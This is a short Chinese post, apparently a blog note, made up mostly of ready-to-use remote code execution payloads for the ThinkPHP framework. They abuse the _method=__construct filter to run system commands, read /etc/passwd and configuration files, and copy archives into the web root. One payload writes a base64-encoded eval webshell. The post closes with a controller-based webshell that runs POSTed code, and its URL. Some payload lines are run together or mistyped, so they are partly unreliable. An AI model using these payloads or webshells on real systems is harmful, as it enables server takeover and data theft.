php命令执行的一次探讨

s=phpinfo()&_method=__construct&filter=assert_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen

s=ipconfig&_mehthod=__construct$method=&filter[]=system

s=include("/etc/passwd")&_method=__construct&filter=assert

_method=__construct&method=get&filter[]=think__include_file&server[]=phpinfo&get[]=../application/.htaccess

s=include("../application/.htaccess")&_method=__construct&filter=assert
//ps:如果不加.. 请加上完整路径

s=var_dump(scandir('../application/'))&_method=__construct&filter=assert

/data/wwwroot/public/

s=copy("/data/ws.tar", "/data/wwwroot/public/ws.tar")&_method=__construct&filter=assert

s=file_put_contents('/data/wwwroot/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

基于thinkphp框架的一句话写法 thinkphp框架使用入口文件调用控制器，直接写一句话可能会有解析问题导致无法执行指令，研究了一下把一句话套入框架控制器的方法，分享给大家参考，
在index的控制器文件夹下建立Test.php文件，代码如下:
<?php namespace appindexcontroller;
class Test {
    public function test() {
    eval($_POST["cmd"]);
    }
}


一句话的地址就是http://www.xxx.com/index/test/test